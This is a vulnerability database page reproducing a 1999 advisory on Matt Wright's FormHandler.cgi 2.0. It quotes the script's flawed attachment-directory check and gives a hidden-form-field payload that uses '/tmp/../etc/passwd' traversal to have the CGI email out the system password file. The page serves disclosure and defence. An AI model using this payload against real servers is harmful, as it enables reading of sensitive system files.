Lucene search
+L

Matt Wright - 'FormHandler.cgi' 2.0 Reply Attachment

🗓️ 16 Nov 1999 00:00:00Reported by m4rcySType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 28 Views

FormHandler.cgi 2.0 allows unauthorized access to sensitive files via modifications in forms.

Related
Code
ReporterTitlePublishedViews
Family
CVE
CVE-1999-1050
12 Sep 200104:00
cve
Cvelist
CVE-1999-1050
12 Sep 200104:00
cvelist
EUVD
EUVD-1999-1031
7 Oct 202500:30
euvd
Tenable Nessus
Matt Wright FormHandler.cgi Arbitrary File Access
13 Dec 199900:00
nessus
NVD
CVE-1999-1050
12 Nov 199905:00
nvd
source: https://www.securityfocus.com/bid/799/info

Any file that the FormHandler.cgi has read access to (the cgi is typically run as user 'nobody' on Unix systems) can be specified as an attachment in a reply email. This could allow an attacker to gain access to sensitive files such as /etc/passwd simply by modifying the form document.

@ALLOWED_ATTACH_DIRS = ('all'); # hmm, nice defaults ;)
@RESTRICTED_ATTACH_DIRS = ('/etc/');
[...]

if (&valid_directory($filename)) { # let's check if file is allowed
push(@files, $filename); [...] } # to send
[...]

sub valid_directory {
local ($filename) = $_[0];
local ($allowed_path, $restricted_path);
local($valid_dir) = 0;
if ($ALLOWED_ATTACH_DIRS[0] =~ /^all$/i) { $valid_dir = 1 }
else {
foreach $allowed_path (@ALLOWED_ATTACH_DIRS) {
$valid_dir = ($filename =~ /^$allowed_path/); # silly ...
last if $valid_dir;
}
}
foreach $restricted_path (@RESTRICTED_ATTACH_DIRS) {
$valid_dir = ($filename !~ /^$restricted_path/); # once more
last if !$valid_dir;
}
return $valid_dir;
}
[...]

How to d/l /etc/passwd ? Just add this to the form:
<INPUT TYPE="hidden" NAME="reply_message_attach"
VALUE="text:/tmp/../etc/passwd">

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Jul 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 25
EPSS0.07851
28